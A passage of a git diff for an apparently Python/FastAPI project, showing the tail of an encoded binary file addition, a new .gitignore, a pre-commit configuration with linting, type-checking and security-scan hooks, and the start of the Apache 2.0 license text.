zi^m5S2_piE+98@Vtl@%ukLp$b*-5N6;jMbfTgTkA;7+=jnlHb{Zi}W_cP#t3%)nbB zppKw2PkkS1RB^ta_i2IQROuwQ)uX`{ z`C7b}4TQXRzY8Bv^qNf-X6sTEzd%ORcR8lqRd0?};`Pj33Z+n<86x&%u-bXVxUDMDT4S(&SWDj?T7a=VkU=O5<~j zPu5K=#+Uz$iAz3;*-_WWY*f8Ljbips*EOG~;&-1o2K^7Kti^L#wPOi5KhLw?*Y3|9 zse|X@>K=fY+q&VJOJ$m7_4i!aFDh=?^gc4zuIu?Q#maFq75RUW5#6B}we+c}{gg~V zituptl>o2vHmjwZW&^+DHG?Ip0g1$N@gmttMu{&iNIw#f`z;|sXG635v7LeM^Ff^7 zXCMoqnvgX4x3fI(hZU0}!2=A7ze6V{zlk~@M>YLEB@4;%_Gz4u4`;}ltmYoV#gLXw zPZ=7~bB=uOMoYguS5Rb~WPf}Sz3QB*>AcF*f&LgIWWZJct!>F*{M3e5?&jrw?qT=m z>Uh1;x#6xT6@Bw zmGo+Ax)qBwfu=RXS5AV}8okcl_U^CxF{xZAnMix3Jb!cXgxu+)=FOU;-Z1>-d_5^y z^xj^l>FJld+vivV$B{o_HcMtvR2P|v)#XSjg`J7uaeS_)n^~QAPd;>M^sy;eI8rDf z7$OzONE3g(Lxdu};no3ouAIK??Ra0pgB)~k?;3{F7+x3T>2BV1 z?Z&T*Dm5QRL|9$-7wsAgjqCTlaKEo;1P(nsLSlJ$!}Xd@)Dj)pr^Mj--?oh_7uCPK zAU@j9evjAB5q@uVEEbn%`@QAsb=f)0$fS^a{iXFp5kjNYP*M3kz4>a}zA(jHQTJQ=!-oj70IA1GF4IW@$bm@hjrt2 z!Ok(Yj9lNB>&9mN^R>s?HV!&{-{Z+_>T9_#n8kfI@Um-cap?8Tje0zpQU7hcooQ0% z{uC7WTZ=RGV}Q*DVbUl zVgdynm*vEW_`gV{(V-s6c7j1m6|2^RXFx2324!l-NVG&Z^q4iP66lwQX-05cYB9=8+qee?|_@Nba)Y#pmtMutCYC77Xd@Cb<(Pl=6DfSg2N@7=cd zA?uTpctmO`<@sP0TAkk&njwNTZRXT1V5gzsD>+#3NKoes)N$VDp;4 zyliD7I#}6_nTDJ?kRGDj6ek4m1R>HiLR||1Q_#yaBmB{cY4?x5tB(DDaE0xKOjaqN z`=u0jRdMz}u$+YMk2{#9!USpZhi!?@f&rM{_mY9zjLFQHD1n;3Bt9om;uO*-VQgW; zt$ER2k}zWVdu`EI#L~

wq`?aI(?oC`j>2K)*6)>3U*#^zUMPNQ0^<3e-yP(ezb$pT6CK`F9~ zDp`F19=OR4rXgvQt|KIw#dexRz4RmE?WWUn?@M=ERO{m-Iy69Q{oBP7`B;lt?1dk? zUGshsfywzQ&)ao@EkxNWb%QoLwTWl44u;~UAN)ZE$Exn_bcXtZV$aE!kR%jbr>)Zi zBt+jjE7NcPJu`^11zKOQr(g{+MV6J7flPqJq@?-zdFeQej-Oe6)^x)UkkF|G8r9zL zTqM%cW}IoPzs~)@A%~@DX{=mnx)g+jgravh(-LWydr*_)X#@oHROgP4j=pu6%R`|T zN7IdjWe0-bCD~|lJWo#-))F9#IuhAQgPo$RRNYoz5QSj{Fa?=%*H>4=BO`8St6@}! z{m!~A^czB)*a*Ybi=YC-FmyW6SXfx5#>UpmwIJU}kY%{vBuJJ86t&U!#hQl%bSK$J za)zmVn%uAV z3mz%TiZnia;G6NZ)@vzgs#=E)jv+(FS4v4s0p7Ko=LFkQb;agNz{mdXzqP^_nw5nq zH8u$2x8pP&O#ub>!PQbNiVekr@GD97{X+<6Uf1qT#tHZ!jEJo0&=-0fp_mwdGDDK7 zvADaL8Kl1fJX!Dhuk&#rc1a+k6D}&1`(TyCd&$X3@2%tR3`#Dlv>p9V%hB(%CS;8e z6Edw3`s1r0a3iL6BJcnsnBH`#IJ$IWB?`cPCjurQ@!NKcd%j*DQ0O{Lv?8e(sh5b-={ttl{E4!B3o6%(7`@5FU zv1sMm4_WK?Np)A*@*U?D5?XaCwXKJR8`twPIfPzkB3V9@_Y>Pz8_!xD-%OU%MkQoE zZ9JaoHMZ_-t`WWkFbe#P-??CYng4X}djzTX?PQSPy!L9l;cZ@vp={kr)TwMz-)HJV z;B`v^*L&?DjpJpXv8}B7snmvkb!n6K^_pkH-hc5if8({+4VmzEgKnx}KYT>pMV8;; z+*>|+!t3YHjWw|MCTHe@*~+9k=F{MOI882-gn*139T^#zM#m8}hHS@4>Y$`qb@d%o zA#F=%1q50R$+fk$HjlXn*O4R%Urz2X3_p0f#Y!hOxOQEO7LF66DsGP#LLLh&>u|Xn z1!SUW7_@r|#-#^>K9$Gz&E`hi4zZ#SRI%aYexD?hof%7KARr|4d@Q!P`{R&S2BX0AKr6*xZ1l@6}TECMMqceZE&j6 zOQzTIS$98p(H}vkC={o5GQ!npbXAX~D%Y*4&W#Ybo!!~lQI@{)eR8rY`HB2``;PYoI#&U@sq}S^Y zo^uIbsG!o^vuXGst<)=--EX%f2&x5^0HUa|uD(*F3u~iq9`-(~_YZ+Yoe-RR`^69u z(|0Ay=tw|Z^ix-#y&l4seaY(%*xDWG4MuNnw49g9XS;Lv9=PhKED%w?c-87g>kSW- zzOPBQ5wt^-Z%-FlUQT(JvtD!b9hW1F=M{Xfdn*Djr)_5?vN9vOk4busCL;G+Py7#C z9q!%9CisQfSUd;KZ?EHodKFoZ+aYf^-^2hvc#j6Jt$EGN=Y5RP8RM)yR-QJRr+A-} z&q1YhBzw*8Wqc18)@v!!yq-(lyf1lHkY>&>liT*|7IbS{3whnoDSe(IBwT|F@jt)y zym=kxuSKREiDbP_>O>QCX{Cr$T?P-VB5>D?K7tMP$_&d92xg8$==Ru{m`VX4hOP|5_yBb?QZte zR7PLE^aCh~Q(UNglV{iq^Ad;gLWPcqh{&C|nb|?#Cp~LB>!oUP1m4r*HPES%H>NA} z6J&J<@?9ad^v_RayuM30?H+2074E*w%^NPmS;IOl6$*76JrkF`KKCg4;2D;MUpnE? zPj>@+UtcF)?3=-8Z(IZnUAh!X5@MbwCuck@6Z2`G?%sCP?{sgI)RB~oc4zcn+oC}g z=;%Ej7~6L!=T$&u*_Z0fz9vFX=uF2?F5lTbKTvkGmrrs3tn}IO^nEbdBgM6xnts&U zc)3n?!+X9Pc-yq|M#U0%o3ryhO>1<&@4Ry2)^IU4e={De+^w&CTN2<+!-vS+iQIa6{|uP1Y6H&?3WV6bWa0pzl;C zSA}yVwx_+P$F0ZO7!_Uk1qN%YHU&w8yqTE^2*yA0O+0Zm)Y4N@uyJrw)6(G3A5XYo zDC^}r%=Kd&WK(OSahFjc=y>#}6Qj%ztNRii3zhn9S6kf9dv}H0AV3+}&Z|c_8p%;v zm!_sL;h!RxE;3K!1{Up;&|KA?W73WVSi$?Hujw?D8}A-F<#;)ccXnM*=oxHW4iKyvZiJ+5-C0Aov_OA+YW93Q zahkKNo0^)cs;UCM=JGAS!}7ig8sX*kw6tyWJN!w~)|NpFt6AV>QH43RR5ByMZ^GY+ z%k(^)&A#`Ud_C-kaQC6^NyTZDP~cdd)Eq5frIo%he;#(r!6F_tde1bi3$Dx15rMct zvMq00_iqy&Cw7?nL0s+TF-H^_D!KZ~Up_d8uQCg}W!O<6#Z) z9gLed`}^Na%D`+o2BpNrWsX$fc#yMKu2laJ zvCTQ2|5UiER^uMw^l4+Xb~szbR!pGWB!%;^=JUPBsmRIHDlGO)ikd|?jI5K~bfohoC8AxLodwA?kCAR@-!o#r?BsvAi+s+`re zXh$}iS&-Y_t#(_4C=C59badC=_GtU`!}js4tkHC}T_|!fE3GYcF>9nbg0U=NI)vca zr(BJc&SlD=+%hygUJ04 zmbyd$Upck0;IbD-2C>vj6vYdbTSM<4v1&z)0n zhvFpPTf#H@HNWX5nJ8iedE*A4=2C5?DcF476(J;HUD*5CJX?&}zIZAXhh2W{AuD=T z!2~-c8+1K_y6;X9{B?i_AFCt=YUj?KYN$?4x|vimUaWhLW66_LC~ve0IWAIbE;^)3 zrF?(6zhPM)|NhS%?+n}6wFgXaH@C+b=bf0CqGAycE_=f;#HivrIel2Y@-Z?j2(6qc zr>2r9a#NVV%+1LSl|%NbBw3G{m$!8%mDufjKN1poc9U-?QyR@Fg_u&oNvS@+Ai_Y^ z#7a2)4rgXY23>xYXNW4QBl**Ollb}B%~y5xg{F~@*EtOE(`z#e3oC7I=NI*6_071n zY0En>23bV+{+|%Z?Zmda+b7cnR2GAhj4KW?54Obrz~a)MBFkO(s`ehPqL9}eFORFN ztuandR=e-(n*M8j3V>r>&b89R05d<+xBXtu@_dS}+>U;`eS4j~kJ0L4PDUHsl?Az@T3i(uSHxKmIVLoWW4ji}C2lz}!)gZax!?62=Gw zqIQ@Lm{l;xW{qf7)Pw4-ix^#4#Dj3W+E0f1RPXlw2oAt>ReP|L@e_MkedHr4`#hND z{Y&`5n9z1(Vtjm@-AX+&G7{l@Ss8-{D{Le}a(_eW$uZ>%1AGnx56y|ch7p&50OJHl z{1iij(`C#{Qy@F|si%3?c$@g?auSY+XN%{&ZsT-&kH#9k2`6u>70An~v}a3KBHE@K zy^0$_24!4MQg$Kz(x&*WLM;W`^iwc%@o|`V(|%Y|c=0HIM0RXj!0{-@bM%QtpaU%p z5NzDs2^N^*0G@P7%elDHYxZw(eh-vQ_05K@2l2QQha!P4v!B9C41T?TLzu9M26s zxb5awXIPu-=u zofV|&2)Qce3QkyqckF#L6ax2@iFP0>7uAUu8wT-b+C^MR3(p39BIMhP%w>sh?3hw* zx#SDA0)pm^?v`{C<7sevB(q|d*5at>jrY|dX74n#t>`(jm?O{>jpM2~u@o6t&wR=# zTANYYf($Ho$}bq3>W0Z+-IJ!byiQua=FXl{uBiwWuTIbw*!oH}POM2D-y7S$TR@IA z@Ia4`+F(0x!~s|txY8uPr_+%s^=NcZfB{sSKdH#itNF#pdA7A>QKxIKJx{NDpEp+c z!*1Z-nXTWY$WxKcUG|fsvKyS;VpP^(VAYfRjqufsiw|^fzx)&D`9w~%dyA=m^L9ml z4?DSSn*MR)>@8)kjR5M=IjeJ5Axf|xlk;J9gASK2Ue@TW7-w$XclB+jbp?m8jSw!L zVz7umE3OfFbY&)=LA#3gmxB3y5F5McWW6!AtxVw2t(&`^f}~A2uhVo+9NANw@cEVv z`(s5o&B87^Iyz*ISnk&SXYu}*ph5B z9{zTtQt`=hot3jQhW}8;7Qmt?;hf@^TK(EKRP(3n3IXFmDe{k7TR)cxA5 zWg54g)jSRNoh2$XPF`x9Jxd#bRN;9E!l8~$twsY;VPUXr4p}uCcb!M)@HOs&o9=U1f$(m%f6%O1qg?(uj@hq7{A_q z60}-_1D;fNMd9;+&R3SzI|DRQb^PX77srHyWx2>1It_!V#lr)yHRu0<2o&HiW0=tO z?AZB?IpsikP2f+tm6*qM>|9J6r<~4qe7=LLSvjxaN+Kg5{0id<>@)#^17vR&K5CEa z*B}8yk%2f{uhDCL9{|eY$v`;bQCe{Yb=be%4wz9X)-qo>vt!xdr~%+&9K~^HYaLb9 zBlp}hS;E2K|-J(uyv!{nZrqtipglTOv^e_{!5tO%n~Z(gxUZtPmGHJmeH!MGPiRcT0)E5xp9<{Dipw; z1x0@>0)+gLmPaSK0>cJ4gB)tR)qE~yl?w+|M(Hw?GzGC*idZ5|Ljvr-J%Ww09u=Yz zu&=XavyD_rn4i-d_XhqdD>A{1y~=Q+-@mhl0d5)-b*6m+38W+!L}~GoSS@d+sRRp8 z*~vgl@j>If0-8RtN}s*(JsFo+^*FM4C8unK$bSL%ntl}8Qg4brl3(W`k>$G+4f~9# zqt|wb7QtG}UNOT`q9llDxWC<>_|Lh?!Bm5?)HAO_1Hwzc?&YrSBlKwAs)Iivu}wIi*h>fc^8&@-6}Y$zpLeC14KyY1OK5<73Sm@8q|dzg#9pC8WC+zE`R zRhg)k9L;$iHj}sYwPD1Iq`IGbVH8!_65J{=J}2SNFyyZY_sS}dtckIlst4V1ANkRO zFz4-uN&GKm!bz*Z!|lA&V(Nj}+?=kkr_V`FQJ`9YG!vP3ve(dl_dG@`;Iwk?Du3&G zum`JS<{(;Ii;NY#B2-b8tNlqIRu)i00|AaTiu^wBNqoSM6WODZq^T^_5s9%od71RG zYHbhsRtvf}iTAJW2SQ4Qk!W&FG192Ha?dJJh`W|xV`HIrn&*fl6mM}HKov+;1m^CqPi6M{NA^? zJ@vNBe*dwEx3g&eScJsKE9svYinxkKR~|{gl*TLCLrrs31LVaF=}<8EedvGjxv(LN zCATh845Q}%74_xuP`2OyBY6_ak{KcSSYr%XE7{80ShI~G%h(x`U9u!wF_tjaMAj^0 z=V1twwZ<}bg-O(8Ct=9e?=C&x-~2g$+^_pO=UngeKJRm``zn!;`S_L;vNXjwdsurl z9 zFR}XcO_>ZCeE;D>)p)J8R=QG2@=qA)wVd(yXPBtzbqRhP z9{74C7@5@^KeMs8z}kE^VveQ~llDTlM6HmbD#h`{7Os8*e=^o}i*NmIdQ7h_EK2GZ zNz_`D7MP^q9kR?uXb-=ewg;B~Z*`qHq$VhCvi4DcnU*1G{>J#oo>cJxhRc?jttVqD z9U+@@9>9asf8s)K=HQ=sbrU~GhUhF`VqAZ{dQoD$CCGAB8yG^9Jv@Zhcx#nBVtR_1RpcPc(zH?kPiO| zD*%5k@Sk7-|g z*wbY%yap9hTW(Not?Jpj8AG-*RkNEeut zz#z(Zyi3*aXO${rS~l9_07LTrHDuM}q0}3k-SX*J$C}JojNhb9%}>)8%DcS*zUPM% z9`R=$J#PsNt>pRSj^Gp2LZG6)tx)e$V+0qd*ThV|e!BqGz-q6JM^A|loF&Cim>okk z=>u*flga^ll zHDN#P=8%{!NyJnirq>+EsBAdjB>eDWi=U7kCHdLWK#D?#rBn##ZCFvQ&l|!`f(pvZ z-GE~l!NG?nxnrE}>ojS_ILM3ALSz6LoNisWRGHWeDo+-Q9SjKTzB31{zL#W`zn=RykLA3UtcI${KlK9$8S@?d#SZC#K|+CU5w4?u>KTog1zJ0=O6R{&(+IKoA7^k z>GH_zY$9ldPRt=|F8%E>7t^_OJj%fzG=wCt032ff;0#=bAl*fWOo=HcFwh_zpZV{D z`a(ZjJ(D{C^)=R@cL?Zur}X|~FECQIS%{9))YL*(INH?C+yRGQeRU6AT?5G@-|LF4 zK^r>34MpDaAM~~XpZPxpJHd#$Tl5tcenu4!&fRCf&Z5%cYj37UJphU6jRtwN_-sCu z$00U2sscFEn5*kmPHl;12#@AvsH_5%F3&lba0KITDQan%PN?TtRSFw5+Y9;M00Yjb zwBDJN^Zq@&f>pbJc!m~cH^bi139ng?)(kWKv{cN(RyF`|-YzTknfhC-5Q!afh4*{{ z#4X4&=$1K#$!4m~fgGziF`@_Y<>2BC!F!9NGv4)g4ZYi&m@|4CZ?Oth=tON>edBat6=PwDGa+>)8OGwK^0tVr6DB(Z-(NzkN8X?qSb^+m~J zAuA6&m8#eGKk&Slm@?Hlyrfoa^|Z|V400?|?u=C!c>lZJ8Dykj+Ye(Sc|HfnwOWkz zR&qot4)VU*r%-LL+phbjx6~oQ{$L|0zhE%a|20}RK&BuBr);yq^T!*YY&P2oefqMF zeXF&CJJ(Zt6P%|fcDR;&X%Jb(v-k>D)KAyw{&<1-+;?gYC9y7-hR*A7i$%*{K|UE@ z4h5?+6k%CTfv;b6;3L$w(|TRv(6}8u6j)}ktSh$*5;MYGei7kXGq*2x&8lUoa(d%g zz)0nzj<|#DzK>^+ZL!30WB51aPx;~mZ)5rfT{0Vsg_rkpM0c6bwVA`%Rx9K2CRF7- zMq`R%lRSJUw#|}hb}K?{S9v^LV@93&qaaSnK4>n3T=wi_EuLIxI%Klm)myxpN%frW z@R5rHm%%9UELfw{_dP91g*dS0h*OwQpnXWEIUTaF;sCrEm}bP_+Rcb~RvC_X#`z=N zILOYq5`P+*Rq|{TS*s|0pwk`AUHQS2TudT|o|)BXDUbP1lUA!DI@k}Rg;iS7rL`hm zMi!rF1c#Y6#p+);1xv0SF1agqaBVht=ZP=wGMMkD_X-nRmJF-w#0w39U8T^yoGUHM ztfrP?SuN?JH{{kvGfv8o&$?p_)!x_0>)I~j!3!77th$4*2jtp*6hE*E+ez_Yn7bcv zP9OW?T)NdxB#*v#fdCmtuoK+HL~Y6gRoz!;{aaNNn!=B?VuhI%JxIwjKFrnplvB6} zxYuU98Lr)9)P{!>1)psosvsLlYSfvuAs_P4lI)ZLtzg@!zO|2Uj2552^y#tF_@U^0 zmK(Em7~ZDi(T08_o2tRN>BEeta&T!14BRZ0MNAb(wu9d;qR#e^gOzN1=IxGvCA5T&E~xlxDXO=;P^vbO z0ZLAFWxqi@0tRy|6VTxAkr8JM@|Ca*nXq7Aihy zI#bMvG9NXjpY?I3ukPToQ$Ay_OtW>)S=S!i@ozpu`_C>wenZXmOA)-!=G#U|ei`-+ zOJ%|{;3lAvU3z@7Z_IZKSL?zFF#XJ%qlsOuD9CqDuvP>(@K>vdz>4v&E(bznrgE$Io=~j@B$d z#ufYYSjQ;qe04`wL}+NnI&@glt87LgnkV}gi7E11tMa#+;gf{1o#5RL4-m0d` zNsvc=q-fwm%D-tB!JaK{_vQt(GQu=p!IJ!4-Tm}87D zi{5rDj$#Y%p=)@pnK`Uk)@7hSm?1_SDOS#ep#4b2FDkjj!1UE8w)ouiTbz@FND{pD zM&lV;H)VyQZ0_B48HjH+p5(8acjQj9Y_gjkysvhzailZl$B+qd?VKPu#Rcv*QY{$E zUss>;OL*Cqgu-d!ZngbsGLKNSF|gZpE8nuKo|xj{HNYr?T#Qq+n2Rm1g;iyO zte($wBfD%a$E8uPaxOuy#+sy)xGkFl^=64eo41NgWE9#S{aO#=#jMEYC&fe(O?6L8 zby(}iy{bHeFv=LW0`UI7jqVwI@^EexUg;cMu+Hqvk}z9swTNw3lTp-Irf3a1Us^^3 z5|F%e)goj(8r+IGe>mD{5OQ>|Y0G(GuJ{~U_?aXYu3E~Nw`>g0GYh!?W~r>RC?6v5 zpIG_j*6&C|egK+z!t4G9k7+!YOf&A3pc@3^kzMD9Ev%vM%8Ei>nC-%N7uPpL^dOx! zL7ua_jfmwqvE`hYv*K%=mSGfTtbuTp#poAW9MfN25p;>;j~BP<82C1$%-S$5?JR|G z*-Qgddvc5a#~xqU2BE+4EW<`Y+&*MIC(H7EOiFO4WTb2%`$ zuW`dH^O~utg!-AQZlw+U{NIeU_38NdO;A#lVipLnMU3hHCWXB}&&`<9gc+&{|As{@o92kN7NpBSNeuUYT0UkhV( zGa9~?6xw|&zoaHN7?8W@s~NsM5aIE;o%-+fjL%r3BKBe7YaK7Ovmib16ccYGc8E%f zbG|Rl%f4%B^2M@h{o}*Y@uz*};?yndIVlkl3nw2~YWy6x62yVzO@qI4rx^i37F6#3Vg`3icN7 z`VW%(fhQQ5+j5lf@L9l^Rd-4&i>C&iV{%zRE{Vf7%71-3L-zgUG0La@3bS|dPR)Uo z&-_=HT?OL|wHJp=DiKu6A3bip^QAE8;kNoDs?Rz^T0e^IrFs3Ywu-0iTP7rvF1ZH| z%Y1iEl%Ft}OLFmEMGhV{L3#~9B47I_wF0Gs2VtUL?gq%w;sR#nCC&e}*PGqwIqv3n zeELcPU`J6UeRVU94mUXj0B7pc0&Sj>Dne~KMp61{f!)^5pZspsILo^6H5FD9Afq-P z?#+v8c>FEbSY#~u_@>~Dx|-R@l97+Zv$PmKbL;V%%*9t|$5{Z6Lz*o6)b+{w)aEY; z<^GEt7QTq?wu9VD?Ym1k(1oa1nk>Z3&lccb&7~7q@pSTXybyYrA(KDDG7_&A#a!Lw z{~k+rnfXpSCzdIEpx~DNc<2nWkt~1195EIzyQXZ(%Zh?8mkBft+j>s@27T;{KK2e4 zl-oY&kb+__1Q<}IoM8!t+<*lKl6teRaOXkWCvb|QN4VU3LQ>))*i=Y6T+U)X&R z+&L~lc_b$xvPoK8fNJ+d#x^h8&4w6UYTkXHV{ystZ9RSWt4cONQ2g_<1kUvm2G~ek z{X-wn%D>mO>ioZKvv*9dTPhk-yAjkU5|wO3Aw&fOY>gII@LP5O#t71d*L#|PdS{H1 zM1#25r4US)M&5Bah4b8D?Gak!BM^_Q9D79MVoM{MiKLD8)pL_^2nV^eN`W_0Fr43= zKtXdYE2i0Bd+$OFe8)9Z?IwR(aUSrm$qy_C|4mV{V}N!!QcV3BK_?d)jS~0(r0q|B z3v9EreP$1&eu>PwM>h+v+XCyHt4~D!4WzOxuvF!!b+KlgLoryd2}r>*o}=@7?CM)I$sS{ zs~eN=F0dXc1 zt=&{y6B8Ap;g_QBn&vn*@1FBX>cqh}cp~u;@vopW{xlFT^2g4QJTb_m!-L7OZ?kPe z;@!JP%T|5o(+{Ck!3EuBRdLO=?0OP}R|Y^U$tyF^$gPVg zd{1Ds`jo+0UmA#U9EU|}MhK$pN55oBFL8M&i9DK#{bt-x7yd!bVx7JwqI5O;>wn6$^!)xCQ?oDl-{}Vp$N~^QrlAbDL_=RhT&yc(1xRPx^DEaws0PZWQy#=| z5%KQ8yuvYf7BrKz?ml%2C<2Ny#Fn;oGMhio*o4eP-hMw*r2S!Qs2`~N=rLTsZlSN* z_Upj}=d{(QoP_`SGILN)l}eMwvyYFWJ?ddWiB?3hXc!85xnswS(nd!T9&RVkhR9&{ zBHA~97Nxu_e7A-)lge?kZ>qNMf0rOlerU|{r6;4}O8yvFt;w$+Yff(9}PW7c$F0epY2(XSnbNaRI44fbM+o{F2*;b>m~km6dgcG!B{pNJ_TuEYTj;VMW>Wm<@aeA`Q)cV9 z*RuZIX7wUjFYD^0y{^x`+i|7RB7d*rs&4_~R^VFi zbDx}rKmY?M`dVj@v`0XLDHiYg*71UC8S|EVS#m|t^v=pe#jp9Q$N2(PCL-ktmnB|< z3+gimv_4o1H=SoqWvs>~)~Fi$vrhf^x$?|A;Ae^tC*JK5xJBnFW3{Z~S`yyNjF;_a zIec(!hyFk6@$r9!X12i`kYl3(^Bex}-o>zDznbVhSH!R{iMQ|dR+_ikc02!?)M~!+ zPqL`~1w-~s9^qm|XdJK8HCh~kZo-fzt<_d*km4=Bt9oT=qSe-`-gw&ylzn7@fp+Dz zT2)P|so<(RhiN806Owfogo~4ki)KQ@{Sf>G6ieoj$-~tO9*y4JESr}=UzJSmd_|1+X-E%Rc?_j|L+2KNPw{rHW7K+@#~UU$+L zx0!CY*Q|-%Kj8An5ZFMk!LyD&-`gFTusTV5p5GMgBris%WJ&7R3v1))%dlT*@;ajo0wkRZvt6{x#X=n3J*CpP!-gCiAoFIG4{9y;?Wa#hf|1yD`uYNs-wiJXUXII(1DCPu2+-1}^!2+gKYeipi(X zZCaqOW*5M}VAtjJqDjkrh?5sc9u4Vsn6WZ4DSxARn3{i=LFx60RX+!I$~W3uvds%l zPDD>tS=J>eCX6e_88l3I&~^S>R_@6SFzKyVsT{mJF$zu$whtb-B)*mx!WyeZ`mcc4 zib9SGkNUo5kNFO2h<)gB{yXT9qhbrm;~8)=7moC#Nf}9+vz0zW__}*ybI`-k$nz_< zBHY6Ju4~#7^(I^1heMc!56jFZC>mHcHDj--PxulKYG-$MO3QN%D7=-k8NeAt8%Ah! z-x~>gkJF6tt8qstfrvjR6+mGNIxbZbMGiUCRsWk+JK)}l5MZ85+z2b7Xpw1xxYz z16%Spm7w)EJ>c}9{&Z^7a#L=Dy;${r$fW=7oq>|PNZ0F+B^SCpAQEE}J-jm80Rf3` zwf-6o(iKCkmo~Y&7ziSi%GrlGiU{=wkfaAdm}|ArAgk)@{5);lKp_A9Rfi=oR3EEs WHSSyESaV+f{ui#HuU@H&3jco_@Tw^Q literal 0 HcmV?d00001 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e812c66 --- /dev/null +++ b/.gitignore @@ -0,0 +1,98 @@ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +*.egg-info/ +.installed.cfg +*.egg + +# Virtual Environment +venv/ +env/ +ENV/ +.env +.venv +pip-log.txt +pip-delete-this-directory.txt + +# IDE +.idea/ +.vscode/ +*.swp +*.swo +.DS_Store +.project +.pydevproject +.settings/ + +# Testing +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +.hypothesis/ +.pytest_cache/ +htmlcov/ + +# FastAPI +.env.local +.env.development.local +.env.test.local +.env.production.local + +# MongoDB +data/ +mongod.log +*.mongodb +*.mongorc.js + +# LLM and ML related +*.bin +*.pt +*.pth +*.onnx +*.h5 +*.hdf5 +*.pkl +*.joblib +wandb/ +runs/ +checkpoints/ +logs/ +tensorboard/ + +# Agent execution traces +agent_runs/ + +# Misc +*.log +*.sqlite +*.db +.directory +*.bak +*.tmp +*.temp +.DS_Store +Thumbs.db + +*.schema.graphql +schema.graphql + +.opencode/ diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 0000000..1f3c86c --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,62 @@ +repos: + # Ruff for fast linting and formatting + - repo: https://github.com/astral-sh/ruff-pre-commit + rev: v0.11.13 + hooks: + - id: ruff + args: [--fix, --exit-non-zero-on-fix] + name: ruff-lint + - id: ruff-format + name: ruff-format + + # MyPy for static type checking + - repo: https://github.com/pre-commit/mirrors-mypy + rev: v1.16.0 + hooks: + - id: mypy + additional_dependencies: [ + types-requests, + types-python-dateutil, + pydantic, + fastapi, + ] + args: [--install-types, --non-interactive] + + # Built-in hooks for basic file checks + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v5.0.0 + hooks: + - id: trailing-whitespace + - id: end-of-file-fixer + - id: check-toml + - id: check-merge-conflict + - id: check-added-large-files + - id: debug-statements + - id: check-case-conflict + - id: check-docstring-first + + # Security checks with bandit + - repo: https://github.com/PyCQA/bandit + rev: 1.8.3 + hooks: + - id: bandit + args: [-c, pyproject.toml] + + # Additional Python code quality checks + - repo: https://github.com/asottile/pyupgrade + rev: v3.20.0 + hooks: + - id: pyupgrade + args: [--py312-plus] + +ci: + autofix_commit_msg: | + [pre-commit.ci] auto fixes from pre-commit.com hooks + + for more information, see https://pre-commit.ci + autofix_prs: true + autoupdate_branch: "" + autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate" + autoupdate_schedule: weekly + skip: [] + submodules: false diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..65c4e8f --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding 